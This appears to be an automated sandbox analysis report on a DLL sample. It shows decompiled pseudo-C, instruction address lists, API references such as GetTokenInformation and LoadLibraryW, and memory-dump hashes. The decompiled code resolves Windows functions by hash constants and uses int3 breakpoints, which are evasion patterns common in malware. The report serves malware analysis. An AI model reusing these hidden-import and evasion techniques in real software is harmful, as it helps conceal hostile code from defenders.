																									_t285 = _t285 + 0xfffffff8;
																									_t205 = E6E6667C8(_t203, 0xff8924ad);
																									goto L49;
																								}
																							} else {
																								do {
																									_t237 = 0;
																									_t161 = 0;
																									while( *((intOrPtr*)(_t161 + _t255 + 8)) != 0xff8924ad) {
																										_t237 = _t237 + 1;
																										_t161 = _t161 + 0x18;
																										if(_t237 < 0x10) {
																											continue;
																										} else {
																											goto L45;
																										}
																										goto L186;
																									}
																									_t205 =  *((intOrPtr*)(_t161 + _t255 + 0x14));
																									if(_t205 != 0) {
																										L49:
																										if(_t205 == 0) {
																											L87:
																											E6E679510(_t285);
																											if( *((char*)(_t285 + 0x2c)) != 0) {
																												E6E67BE30(_t285 + 0x28, _t272);
																											}
																											return 0;
																										} else {
																											_push(_t285 + 0x24);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0x220);
																											_push(0x20);
																											_push(2);
																											_push(_t285 + 0x10);
																											if( *_t205() == 0) {
																												_t258 =  *0x6e68b1f4; // 0xf21340
																												if(_t258 == 0xc139578) {
																													 *0x6e68b1f4 = 0;
																													goto L107;
																												} else {
																													if(_t258 == 0) {
																														L107:
																														_push(0xa1310f65);
																														_t206 = E6E667564(0xa1310f65);
																														if(_t206 == 0) {
																															if(E6E666C50(0xa1310f65) != 0) {
																																_push(0xa1310f65);
																																_t206 = E6E667564(0xa1310f65);
																															}
																														}
																														if(_t206 == 0) {
																															goto L114;
																														} else {
																															_t285 = _t285 + 0xfffffff8;
																															_t155 = E6E6667C8(_t206, 0xea5f6acc);
																															goto L110;
																														}
																													} else {
																														do {
																															_t236 = 0;
																															_t158 = 0;
																															while( *((intOrPtr*)(_t158 + _t258 + 8)) != 0xea5f6acc) {
																																_t236 = _t236 + 1;
																																_t158 = _t158 + 0x18;
																																if(_t236 < 0x10) {
																																	continue;
																																} else {
																																	goto L106;
																																}
																																goto L186;
																															}
																															_t155 =  *((intOrPtr*)(_t158 + _t258 + 0x14));
																															if(_t155 != 0) {
																																L110:
																																if(_t155 == 0) {
																																	L114:
																																	if(0 != 0) {
																																		goto L87;
																																	} else {
																																		goto L51;
																																	}
																																} else {
																																	asm("int3");
																																	return _t155;
																																}
																															} else {
																																goto L107;
																															}
																															goto L186;
																															L106:
																															asm("o16 nop [eax+eax]");
																															_t63 = _t258 + 0x180; // 0xf28e68
																															_t258 =  *_t63;
																														} while (_t258 != 0);
																														goto L107;
																													}
																												}
																											} else {
																												L51:
																												_t207 =  *(_t285 + 0x24);
																												if( *_t278 <= 0) {
																													L67:
																													if(_t207 == 0 || _t207 == 0xffffffff) {
																														_t133 = 1;
																													} else {
																														_t133 = 0;
																													}
																													if(_t133 != 0) {
																														L84:
																														E6E679510(_t285);
																														if( *((char*)(_t285 + 0x2c)) != 0) {
																															E6E67BE30(_t285 + 0x28, _t272);
																														}
																														return 0;
																													} else {
																														_t259 =  *0x6e68b1f4; // 0xf21340
																														if(_t259 == 0xc139578) {
																															 *0x6e68b1f4 = 0;
																															goto L79;
																														} else {
																															if(_t259 == 0) {
																																L79:
																																_push(0x3ab94787);
																																_t281 = E6E667564(0x3ab94787);
																																if(_t281 == 0) {
																																	if(E6E666C50(0x3ab94787) != 0) {
																																		_push(0x3ab94787);
																																		_t281 = E6E667564(0x3ab94787);
																																	}
																																}
																																if(_t281 == 0) {
																																	goto L84;
																																} else {
																																	_t285 = _t285 + 0xfffffff8;
																																	_t141 = E6E6667C8(_t281, 0x9d775c6);
																																	goto L82;
																																}
																															} else {
																																do {
																																	_t233 = 0;
																																	_t144 = 0;
																																	while( *((intOrPtr*)(_t144 + _t259 + 8)) != 0x9d775c6) {
																																		_t233 = _t233 + 1;
																																		_t144 = _t144 + 0x18;
																																		if(_t233 < 0x10) {
																																			continue;
																																		} else {
																																			goto L78;
																																		}
																																		goto L186;
																																	}
																																	_t141 =  *((intOrPtr*)(_t144 + _t259 + 0x14));
																																	if(_t141 != 0) {
																																		L82:
																																		if(_t141 == 0) {
																																			goto L84;
																																		} else {
																																			_push(_t207);
																																			asm("int3");
																																			return _t141;
																																		}
																																	} else {
																																		goto L79;
																																	}
																																	goto L186;
																																	L78:
																																	asm("o16 nop [eax+eax]");
																																	_t52 = _t259 + 0x180; // 0xf28e68
																																	_t259 =  *_t52;
																																} while (_t259 != 0);
																																goto L79;
																															}
																														}
																													}
																												} else {
																													 *(_t285 + 0x18) = _t207;
																													 *((intOrPtr*)(_t285 + 0x1c)) = _t272;
																													_t273 = _t278;
																													 *((intOrPtr*)(_t285 + 0x20)) = _t270;
																													_t283 = 0;
																													do {
																														_t261 =  *0x6e68b1f4; // 0xf21340
																														if(_t261 == 0xc139578) {
																															 *0x6e68b1f4 = 0;
																															goto L60;
																														} else {
																															if(_t261 == 0) {
																																L60:
																																_push(0x3ab94787);
																																_t209 = E6E667564(0x3ab94787);
																																if(_t209 == 0) {
																																	if(E6E666C50(0x3ab94787) != 0) {
																																		_push(0x3ab94787);
																																		_t209 = E6E667564(0x3ab94787);
																																	}
																																}
																																if(_t209 == 0) {
																																	goto L65;
																																} else {
																																	_t285 = _t285 + 0xfffffff8;
																																	_t150 = E6E6667C8(_t209, 0x68adfb76);
																																	goto L63;
																																}
																															} else {
																																do {
																																	_t235 = 0;
																																	_t149 = 0;
																																	while( *((intOrPtr*)(_t149 + _t261 + 8)) != 0x68adfb76) {
																																		_t235 = _t235 + 1;
																																		_t149 = _t149 + 0x18;
																																		if(_t235 < 0x10) {
																																			continue;
																																		} else {
																																			goto L59;
																																		}
																																		goto L186;
																																	}
																																	_t150 =  *((intOrPtr*)(_t149 + _t261 + 0x14));
																																	if(_t150 != 0) {
																																		L63:
																																		if(_t150 == 0) {
																																			goto L65;
																																		} else {
																																			_push( *((intOrPtr*)(_t273 + 4 + _t283 * 8)));
																																			_push( *(_t285 + 0x28));
																																			asm("int3");
																																			return _t150;
																																		}
																																	} else {
																																		goto L60;
																																	}
																																	goto L186;
																																	L59:
																																	asm("o16 nop [eax+eax]");
																																	_t42 = _t261 + 0x180; // 0xf28e68
																																	_t261 =  *_t42;
																																} while (_t261 != 0);
																																goto L60;
																															}
																														}
																														goto L186;
																														L65:
																														_t283 = _t283 + 1;
																													} while (_t283 <  *_t273);
																													_t207 =  *(_t285 + 0x18);
																													_t272 =  *((intOrPtr*)(_t285 + 0x1c));
																													goto L67;
																												}
																											}
																										}
																									} else {
																										goto L46;
																									}
																									goto L186;
																									L45:
																									asm("o16 nop [eax+eax]");
																									_t33 = _t255 + 0x180; // 0xf28e68
																									_t255 =  *_t33;
																								} while (_t255 != 0);
																								goto L46;
																							}
																						}
																					}
																				} else {
																					L36:
																					E6E679510(_t285);
																					if( *((char*)(_t285 + 0x2c)) != 0) {
																						E6E67BE30(_t285 + 0x28, _t272);
																					}
																					return 0;
																				}
																			} else {
																				goto L32;
																			}
																			goto L186;
																			L31:
																			asm("o16 nop [eax+eax]");
																			_t21 = _t250 + 0x180; // 0xf28e68
																			_t250 =  *_t21;
																		} while (_t250 != 0);
																		goto L32;
																	}
																}
															} else {
																if( *((char*)(_t285 + 0x2c)) != 0) {
																	E6E67BE30(_t285 + 0x28, _t272);
																}
																goto L25;
															}
														} else {
															_t174 = GetTokenInformation( *(_t285 + 0x44), 2, 0, 0, _t285 + 0x30); // executed
															if(_t174 == 0) {
																_t267 =  *0x6e68b1f4; // 0xf21340
																if(_t267 == 0xc139578) {
																	 *0x6e68b1f4 = 0;
																	goto L155;
																} else {
																	if(_t267 == 0) {
																		L155:
																		_push(0xa1310f65);
																		_t213 = E6E667564(0xa1310f65);
																		if(_t213 == 0) {
																			if(E6E666C50(0xa1310f65) != 0) {
																				_push(0xa1310f65);
																				_t213 = E6E667564(0xa1310f65);
																			}
																		}
																		if(_t213 == 0) {
																			goto L22;
																		} else {
																			_t285 = _t285 + 0xfffffff8;
																			_t179 = E6E6667C8(_t213, 0xea5f6acc);
																			goto L158;
																		}
																	} else {
																		do {
																			_t242 = 0;
																			_t182 = 0;
																			while( *((intOrPtr*)(_t182 + _t267 + 8)) != 0xea5f6acc) {
																				_t242 = _t242 + 1;
																				_t182 = _t182 + 0x18;
																				if(_t242 < 0x10) {
																					continue;
																				} else {
																					goto L154;
																				}
																				goto L186;
																			}
																			_t179 =  *((intOrPtr*)(_t182 + _t267 + 0x14));
																			if(_t179 != 0) {
																				L158:
																				if(_t179 == 0) {
																					goto L22;
																				} else {
																					asm("int3");
																					return _t179;
																				}
																			} else {
																				goto L155;
																			}
																			goto L186;
																			L154:
																			asm("o16 nop [eax+eax]");
																			_t77 = _t267 + 0x180; // 0xf28e68
																			_t267 =  *_t77;
																		} while (_t267 != 0);
																		goto L155;
																	}
																}
															} else {
																goto L22;
															}
														}
													} else {
														goto L17;
													}
													goto L186;
													L16:
													asm("o16 nop [eax+eax]");
													_t12 = _t249 + 0x180; // 0xf28e68
													_t249 =  *_t12;
												} while (_t249 != 0);
												goto L17;
											}
										}
									}
								}
							} else {
								goto L6;
							}
							goto L186;
							L5:
							asm("o16 nop [eax+eax]");
							_t4 = _t246 + 0x180; // 0xf28e68
							_t246 =  *_t4;
						} while (_t246 != 0);
						goto L6;
					}
				}
				L186:
			}

0x6e6647b0
0x6e6647b0
0x6e6647b2
0x6e6647b5
0x6e6647bb
0x6e6647c9
0x6e6650e3
0x00000000
0x6e6647cf
0x6e6647d1
0x6e6647fe
0x6e664803
0x6e664809
0x6e66480d
0x6e6650ba
0x6e6650c5
0x6e6650cb
0x6e6650cb
0x6e6650ba
0x6e664815
0x00000000
0x6e66481b
0x6e664822
0x6e66482a
0x00000000
0x6e66482a
0x6e6647d3
0x6e6647d3
0x6e6647d3
0x6e6647d5
0x6e6647d7
0x6e6647e5
0x6e6647e6
0x6e6647ec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6647ec
0x6e6650d2
0x6e6650d8
0x6e66482c
0x6e66482e
0x6e6648fc
0x6e664903
0x6e664834
0x6e664838
0x6e664839
0x6e66483b
0x6e664841
0x6e66504d
0x6e665054
0x6e66507a
0x6e66507c
0x00000000
0x6e66507e
0x6e66507e
0x6e66507f
0x6e66507f
0x6e665056
0x6e66505b
0x6e665061
0x6e665065
0x6e66509d
0x6e6650a4
0x6e6650aa
0x6e6650aa
0x6e66509d
0x6e665069
0x6e66508d
0x6e665082
0x00000000
0x6e665088
0x00000000
0x6e665088
0x6e66506b
0x6e665072
0x6e665075
0x00000000
0x6e665075
0x6e665069
0x6e664847
0x6e664847
0x6e66484b
0x6e664851
0x6e664855
0x6e66485a
0x6e664868
0x6e665038
0x00000000
0x6e66486e
0x6e664870
0x6e66489d
0x6e6648a2
0x6e6648a8
0x6e6648ac
0x6e66500f
0x6e66501a
0x6e665020
0x6e665020
0x6e66500f
0x6e6648b4
0x00000000
0x6e6648b6
0x6e6648bd
0x6e6648c5
0x00000000
0x6e6648c5
0x6e664872
0x6e664872
0x6e664872
0x6e664874
0x6e664876
0x6e664884
0x6e664885
0x6e66488b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66488b
0x6e665027
0x6e66502d
0x6e6648c7
0x6e6648c9
0x6e6648e4
0x6e6648e4
0x6e6648ea
0x6e664904
0x6e664909
0x6e66490e
0x6e66491a
0x6e664f51
0x00000000
0x6e664920
0x6e664922
0x6e66494f
0x6e664954
0x6e66495a
0x6e66495e
0x6e664f28
0x6e664f33
0x6e664f39
0x6e664f39
0x6e664f28
0x6e664966
0x00000000
0x6e664968
0x6e66496f
0x6e664977
0x00000000
0x6e664977
0x6e664924
0x6e664924
0x6e664924
0x6e664926
0x6e664928
0x6e664936
0x6e664937
0x6e66493d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66493d
0x6e664f40
0x6e664f46
0x6e664979
0x6e66497b
0x6e6649a3
0x6e6649c1
0x6e6649c5
0x6e664e71
0x6e664e7d
0x6e664f10
0x00000000
0x6e664e83
0x6e664e85
0x6e664eae
0x6e664eb3
0x6e664eb9
0x6e664ebd
0x6e664ef5
0x6e664efc
0x6e664f02
0x6e664f02
0x6e664ef5
0x6e664ec1
0x00000000
0x6e664ec3
0x6e664eca
0x6e664ecd
0x00000000
0x6e664ecd
0x6e664e87
0x6e664e87
0x6e664e87
0x6e664e89
0x6e664e8b
0x6e664e95
0x6e664e96
0x6e664e9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664e9c
0x6e664f06
0x6e664f0c
0x6e664ed2
0x6e664ed4
0x6e664ee5
0x6e664eda
0x00000000
0x6e664ee0
0x00000000
0x6e664ee0
0x6e664ed6
0x6e664ed6
0x6e664ed7
0x6e664ed7
0x6e664f0e
0x00000000
0x6e664f0e
0x00000000
0x6e664e9e
0x6e664e9e
0x6e664ea4
0x6e664ea4
0x6e664eaa
0x00000000
0x6e664e87
0x6e664e85
0x6e6649cb
0x6e6649cb
0x6e6649d6
0x6e6649df
0x6e6649e4
0x6e6649e9
0x6e6649ef
0x6e6649f7
0x6e664a01
0x6e664e62
0x00000000
0x6e664a07
0x6e664a09
0x6e664a36
0x6e664a3b
0x6e664a41
0x6e664a45
0x6e664e39
0x6e664e44
0x6e664e4a
0x6e664e4a
0x6e664e39
0x6e664a4d
0x00000000
0x6e664a53
0x6e664a5a
0x6e664a62
0x00000000
0x6e664a62
0x6e664a0b
0x6e664a0b
0x6e664a0b
0x6e664a0d
0x6e664a0f
0x6e664a1d
0x6e664a1e
0x6e664a24
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664a24
0x6e664e51
0x6e664e57
0x6e664a64
0x6e664a66
0x6e664bef
0x6e664bf2
0x6e664bfc
0x6e664c02
0x6e664c02
0x6e664c0e
0x6e664a6c
0x6e664a76
0x6e664a77
0x6e664a78
0x6e664a79
0x6e664a7a
0x6e664a7b
0x6e664a7c
0x6e664a7d
0x6e664a82
0x6e664a84
0x6e664a86
0x6e664a8b
0x6e664d80
0x6e664d8c
0x6e664e21
0x00000000
0x6e664d92
0x6e664d94
0x6e664dbf
0x6e664dc4
0x6e664dca
0x6e664dce
0x6e664e06
0x6e664e0d
0x6e664e13
0x6e664e13
0x6e664e06
0x6e664dd2
0x00000000
0x6e664dd4
0x6e664ddb
0x6e664dde
0x00000000
0x6e664dde
0x6e664d96
0x6e664d98
0x6e664d98
0x6e664d9a
0x6e664d9c
0x6e664da6
0x6e664da7
0x6e664dad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664dad
0x6e664e17
0x6e664e1d
0x6e664de3
0x6e664de5
0x6e664df6
0x6e664deb
0x00000000
0x6e664df1
0x00000000
0x6e664df1
0x6e664de7
0x6e664de7
0x6e664de8
0x6e664de8
0x6e664e1f
0x00000000
0x6e664e1f
0x00000000
0x6e664daf
0x6e664daf
0x6e664db5
0x6e664db5
0x6e664dbb
0x00000000
0x6e664d98
0x6e664d94
0x6e664a91
0x6e664a91
0x6e664a91
0x6e664a99
0x6e664b47
0x6e664b49
0x6e664b54
0x6e664b50
0x6e664b50
0x6e664b50
0x6e664b5b
0x6e664bcf
0x6e664bd2
0x6e664bdc
0x6e664be2
0x6e664be2
0x6e664bee
0x6e664b5d
0x6e664b5d
0x6e664b69
0x6e664d2d
0x00000000
0x6e664b6f
0x6e664b71
0x6e664ba0
0x6e664ba5
0x6e664bab
0x6e664baf
0x6e664d04
0x6e664d0f
0x6e664d15
0x6e664d15
0x6e664d04
0x6e664bb7
0x00000000
0x6e664bb9
0x6e664bc0
0x6e664bc3
0x00000000
0x6e664bc3
0x6e664b73
0x6e664b75
0x6e664b75
0x6e664b77
0x6e664b79
0x6e664b87
0x6e664b88
0x6e664b8e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664b8e
0x6e664d1c
0x6e664d22
0x6e664bc8
0x6e664bca
0x00000000
0x6e664bcc
0x6e664bcc
0x6e664bcd
0x6e664bce
0x6e664bce
0x6e664d28
0x00000000
0x6e664d28
0x00000000
0x6e664b90
0x6e664b90
0x6e664b96
0x6e664b96
0x6e664b9c
0x00000000
0x6e664b75
0x6e664b71
0x6e664b69
0x6e664a9f
0x6e664aa1
0x6e664aa5
0x6e664aa9
0x6e664aab
0x6e664aaf
0x6e664ab1
0x6e664ab1
0x6e664abd
0x6e664d71
0x00000000
0x6e664ac3
0x6e664ac5
0x6e664af4
0x6e664af9
0x6e664aff
0x6e664b03
0x6e664d48
0x6e664d53
0x6e664d59
0x6e664d59
0x6e664d48
0x6e664b0b
0x00000000
0x6e664b0d
0x6e664b14
0x6e664b17
0x00000000
0x6e664b17
0x6e664ac7
0x6e664ac9
0x6e664ac9
0x6e664acb
0x6e664acd
0x6e664adb
0x6e664adc
0x6e664ae2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664ae2
0x6e664d60
0x6e664d66
0x6e664b1c
0x6e664b1e
0x00000000
0x6e664b20
0x6e664b20
0x6e664b24
0x6e664b28
0x6e664b29
0x6e664b29
0x6e664d6c
0x00000000
0x6e664d6c
0x00000000
0x6e664ae4
0x6e664ae4
0x6e664aea
0x6e664aea
0x6e664af0
0x00000000
0x6e664ac9
0x6e664ac5
0x00000000
0x6e664b32
0x6e664b32
0x6e664b33
0x6e664b3b
0x6e664b3f
0x00000000
0x6e664b43
0x6e664a99
0x6e664a8b
0x6e664e5d
0x00000000
0x6e664e5d
0x00000000
0x6e664a26
0x6e664a26
0x6e664a2c
0x6e664a2c
0x6e664a32
0x00000000
0x6e664a0b
0x6e664a09
0x6e664a01
0x6e66497d
0x6e66497d
0x6e664980
0x6e66498a
0x6e664990
0x6e664990
0x6e66499c
0x6e66499c
0x6e664f4c
0x00000000
0x6e664f4c
0x00000000
0x6e66493f
0x6e66493f
0x6e664945
0x6e664945
0x6e66494b
0x00000000
0x6e664924
0x6e664922
0x6e6648ec
0x6e6648f1
0x6e6648f7
0x6e6648f7
0x00000000
0x6e6648f1
0x6e6648cb
0x6e6648da
0x6e6648de
0x6e664f60
0x6e664f6c
0x6e664fda
0x00000000
0x6e664f6e
0x6e664f70
0x6e664f99
0x6e664f9e
0x6e664fa4
0x6e664fa8
0x6e664ff2
0x6e664ff9
0x6e664fff
0x6e664fff
0x6e664ff2
0x6e664fac
0x00000000
0x6e664fb2
0x6e664fb9
0x6e664fbc
0x00000000
0x6e664fbc
0x6e664f72
0x6e664f72
0x6e664f72
0x6e664f74
0x6e664f76
0x6e664f80
0x6e664f81
0x6e664f87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664f87
0x6e664fd0
0x6e664fd6
0x6e664fc1
0x6e664fc3
0x00000000
0x6e664fc9
0x6e664fc9
0x6e664fca
0x6e664fca
0x6e664fd8
0x00000000
0x6e664fd8
0x00000000
0x6e664f89
0x6e664f89
0x6e664f8f
0x6e664f8f
0x6e664f95
0x00000000
0x6e664f72
0x6e664f70
0x00000000
0x00000000
0x00000000
0x6e6648de
0x6e665033
0x00000000
0x6e665033
0x00000000
0x6e66488d
0x6e66488d
0x6e664893
0x6e664893
0x6e664899
0x00000000
0x6e664872
0x6e664870
0x6e664868
0x6e664841
0x6e6650de
0x00000000
0x6e6650de
0x00000000
0x6e6647ee
0x6e6647ee
0x6e6647f4
0x6e6647f4
0x6e6647fa
0x00000000
0x6e6647d3
0x6e6647d1
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,?), ref: 6E6648DA
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,?,00000000), ref: 6E6649C1

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 466c397b64a8dd06dea8918458dd9e8a2e831cc13403ff72c73696f5cce585b8
Instruction ID: 22bb09fefd0a3dee67b965c0e47222f2dc76b4a4b0ab7b67be0ec1810390f99b
Opcode Fuzzy Hash: 466c397b64a8dd06dea8918458dd9e8a2e831cc13403ff72c73696f5cce585b8
Instruction Fuzzy Hash: 5F12F7207743439BEB449AEA88F079A37997B8330CF148A6DD461CB356EFB4C9468257

Uniqueness

Uniqueness Score: -1.00%

Function 6E65543B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
libraryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6E65543B() {
				signed int _t131;
				void* _t134;
				signed int _t142;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t170;
				intOrPtr _t171;
				intOrPtr* _t175;
				void* _t190;
				void* _t200;
				intOrPtr _t203;
				signed int _t213;
				signed int _t217;
				void* _t232;
				intOrPtr* _t233;
				signed int _t236;
				unsigned int _t240;
				intOrPtr _t243;
				signed short* _t244;
				signed int _t247;
				void* _t265;
				void* _t273;
				signed int _t276;
				signed int _t277;
				signed int _t280;
				signed int _t281;
				intOrPtr* _t325;
				intOrPtr* _t333;
				signed int _t348;
				signed int _t350;
				signed int _t353;
				intOrPtr* _t385;
				void* _t400;
				signed int _t401;
				void* _t406;
				signed int _t407;
				intOrPtr* _t410;
				void* _t413;
				intOrPtr* _t416;

				asm("outsb");
				_t410 = E6E663930(_t273, 0, _t400, _t404);
				if( *_t410 < 0x10) {
					L6E655150();
				}
				E6E656020(_t273);
				E6E668810(_t416 + 0x114, 0x200);
				_t385 = E6E6615C0(0xa1310f65, 0xc4d11e8a);
				if(_t385 != 0) {
					 *_t385(0,  *(_t416 + 0x114),  *(_t416 + 0x114) >> 1);
				}
				E6E662580(_t416 + 0x118, _t400, _t404);
				if(E6E669C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0x118))) == 0) {
					E6E662780(_t416 + 0xe4, _t400, _t404);
					_t131 = E6E669C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0xe4)));
					__eflags = _t131;
					if(_t131 == 0) {
						E6E662580(_t416 + 0xb4, _t400, _t404);
						_t404 = _t416 + 0x98;
						E6E66D980(_t416 + 0xbc, _t416 + 0x98, 0x5c);
						_t134 = E6E677600(_t416 + 0x98, 2);
						E6E65AC00(_t416 + 0xbc, 6);
						E6E668CC0(_t134,  *((intOrPtr*)(_t416 + 0xbc)));
						E6E668CA0(_t416 + 0xbc);
						E6E6789F0(_t404, _t416 + 0x124, 0x5c);
						E6E678910(_t404, _t400, _t404);
						E6E668CA0(_t416 + 0xb4);
						_t142 = E6E669C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0x120)));
						__eflags = _t142;
						_t23 = _t142 > 0;
						__eflags = _t23;
						_t276 = 0 | _t23;
						E6E668CA0(_t416 + 0x120);
					} else {
						_t276 = 1;
					}
					E6E668CA0(_t416 + 0xe4);
					E6E668CA0(_t416 + 0x118);
					__eflags = _t276;
					if(_t276 == 0) {
						_t277 = 0;
						__eflags = 0;
					} else {
						goto L11;
					}
				} else {
					E6E668CA0(_t416 + 0x118);
					L11:
					_t277 = 1;
				}
				E6E65AC00(_t416 + 0x120, 2);
				E6E66D980(_t416 + 0x128, _t416 + 0x130, 0x7e);
				E6E668CA0(_t416 + 0x120);
				if( *(_t416 + 0x130) > 0) {
					 *_t416 = _t410;
					_t401 = _t416 + 0x130;
					L15:
					while(1) {
						L15:
						while(1) {
							L15:
							if(E6E6615C0(0xa1310f65, 0xf3af54a7) != 0) {
								LoadLibraryW( *(E6E677600(_t401, _t404))); // executed
							}
							_t265 =  *(_t416 + 0x130);
							while(1) {
								_t404 = 1;
								if(1 >= _t265) {
									break;
								}
								if(1 != 4) {
									goto L15;
								} else {
									_t388 =  *0x6e68b02a & 0x000000ff;
									if(( *0x6e68b02a & 0x000000ff) == 2) {
										continue;
									} else {
										goto L15;
									}
								}
								goto L23;
							}
							_t410 =  *_t416;
							goto L23;
						}
					}
				}
				L23:
				__eflags =  *((intOrPtr*)(_t410 + 0x2c)) - 2;
				if( *((intOrPtr*)(_t410 + 0x2c)) != 2) {
					__eflags =  *0x6e68b028 & 0x000000ff;
					if(( *0x6e68b028 & 0x000000ff) == 0) {
						__eflags =  *0x6e68b265 & 0x000000ff;
						if(( *0x6e68b265 & 0x000000ff) == 0) {
							__eflags =  *0x6e68b1cc - 1;
							if( *0x6e68b1cc != 1) {
								_t243 =  *0x6e68b1d0; // 0x10f0748
								_t244 =  *(_t243 + 4);
								_t388 =  *_t244 & 0x0000ffff;
								__eflags = ( *_t244 & 0x0000ffff) - 0x2d;
								if(( *_t244 & 0x0000ffff) != 0x2d) {
									E6E668AB0(_t416 + 0xcc, _t244, 0);
									_push(0x80);
									_push(0);
									E6E67A4E0(_t416 + 0x68, __eflags,  *((intOrPtr*)(_t416 + 0xd0)), 1);
									_t247 = E6E67BEA0(_t416 + 0x64, _t388, _t404);
									__eflags = _t247;
									if(_t247 == 0) {
										__eflags =  *((char*)(_t416 + 0x68));
										if( *((char*)(_t416 + 0x68)) != 0) {
											E6E67BE30(_t416 + 0x64, _t404);
										}
										E6E668CA0(_t416 + 0x58);
										_t407 = 0;
										__eflags = 0;
										while(1) {
											__eflags = E6E67A730(_t416 + 0xc4, _t388);
											if(__eflags == 0) {
												break;
											}
											E6E6622A0(0x64, _t388);
											_t407 = _t407 + 1;
											__eflags = _t407 - 0x64;
											if(__eflags < 0) {
												continue;
											}
											break;
										}
										_t404 = _t416 + 0xcc;
										do {
											E6E66AE80(_t416 + 0xcc, __eflags, _t404, 0x5c);
											E6E668CC0(_t416 + 0xc8,  *(_t416 + 0xcc));
											E6E668CA0(_t404);
											__eflags = E6E67A730(_t416 + 0xc4, _t388);
										} while (__eflags == 0);
									} else {
										__eflags =  *((char*)(_t416 + 0x68));
										if( *((char*)(_t416 + 0x68)) != 0) {
											E6E67BE30(_t416 + 0x64, _t404);
										}
										E6E668CA0(_t416 + 0x58);
									}
									E6E668CA0(_t416 + 0xc4);
								}
							}
						}
					}
					__eflags = ( *0x6e68b02a & 0x000000ff) - 2;
					if(( *0x6e68b02a & 0x000000ff) == 2) {
						L52:
						_t152 =  *0x6e68b1ad; // 0xf2a3f8
						__eflags = _t152;
						if(_t152 == 0) {
							L54:
							_t153 =  *0x6e68b1ad; // 0xf2a3f8
							__eflags = _t153;
							if(_t153 == 0) {
								_push(0x10);
								_t154 = E6E661030();
								_t416 = _t416 + 4;
								__eflags = _t154;
								if(_t154 != 0) {
									_push(0);
									_t155 = E6E679350(_t154);
								} else {
									_t155 = 0;
								}
								 *0x6e68b1ad = _t155;
							}
							_t404 =  *0x6e68b1ad; // 0xf2a3f8
							__eflags = ( *0x6e68b02a & 0x000000ff) - 1;
							if(( *0x6e68b02a & 0x000000ff) == 1) {
								_t388 = 0x18f8c844;
								_t401 = _t416 + 0x28;
								E6E656AD0(_t277, _t401, 0x18f8c844, _t401, _t404, 1, 0);
								_push(_t401);
								E6E679520(_t404);
								E6E679510(_t401);
							} else {
								E6E679710(_t404, 0x6e68b02d,  *0x6e68b02b & 0x0000ffff);
							}
						} else {
							_t350 =  *0x6e68b1ad; // 0xf2a3f8
							_t217 = E6E679660(_t350);
							__eflags = _t217;
							if(_t217 != 0) {
								goto L54;
							}
						}
						_t160 =  *0x6e68b1b1; // 0x0
						__eflags = _t160;
						if(_t160 == 0) {
							L60:
							_t161 =  *0x6e68b1b1; // 0x0
							__eflags = _t161;
							if(_t161 == 0) {
								_push(0x10);
								_t162 = E6E661030();
								_t416 = _t416 + 4;
								__eflags = _t162;
								if(_t162 != 0) {
									_push(0);
									_t163 = E6E679350(_t162);
								} else {
									_t163 = 0;
								}
								 *0x6e68b1b1 = _t163;
							}
							_t401 =  *0x6e68b1b1; // 0x0
							__eflags = ( *0x6e68b02a & 0x000000ff) - 1;
							if(( *0x6e68b02a & 0x000000ff) == 1) {
								_t388 = 0x11041f01;
								E6E656AD0(_t277, _t416 + 0x38, 0x11041f01, _t401, _t404, 1, 1);
								_push(_t416 + 0x38);
								E6E679520(_t401);
								E6E679510(_t416 + 0x38);
								_t170 = E6E679650(_t401);
								__eflags = _t170;
								if(_t170 != 0) {
									_t388 = 0xd3ef7577;
									E6E656AD0(_t277, _t416 + 8, 0xd3ef7577, _t401, _t404, 0, 0);
									E6E679510(_t416);
								}
							} else {
								_t404 =  *0x6e68b1c4; // 0x6e650000
								__eflags =  *((char*)(E6E663930(_t277, 0, _t401, _t404) + 0xb)) - 0x20;
								_t397 =  ==  ? 0x7e839a6 : 0x93fc68d6;
								_t388 = _t404;
								E6E659090(_t416 + 0x88, _t404,  ==  ? 0x7e839a6 : 0x93fc68d6);
								_push(_t416 + 0x88);
								E6E679520(_t401);
								E6E679510(_t416 + 0x88);
							}
						} else {
							_t348 =  *0x6e68b1b1; // 0x0
							_t213 = E6E679660(_t348);
							__eflags = _t213;
							if(_t213 != 0) {
								goto L60;
							}
						}
						_t171 =  *((intOrPtr*)(_t410 + 0x2c));
						__eflags = _t171 - 3;
						if(_t171 == 3) {
							__eflags =  *0x6e68b1cc - 3;
							if( *0x6e68b1cc == 3) {
								E6E668CC0(_t416 + 0x10c,  *((intOrPtr*)( *0x6e68b1d0 + 8)));
							}
							_t278 = _t416 + 0x48;
							E6E668810(_t416 + 0x48, 0);
							_t175 = E6E669890(_t278, _t416 + 0x48, _t388, _t401, _t404, _t278, 0x6e689428,  *((intOrPtr*)(_t410 + 0x2c)));
							E6E670220(_t416 + 0x110,  *_t175, 0);
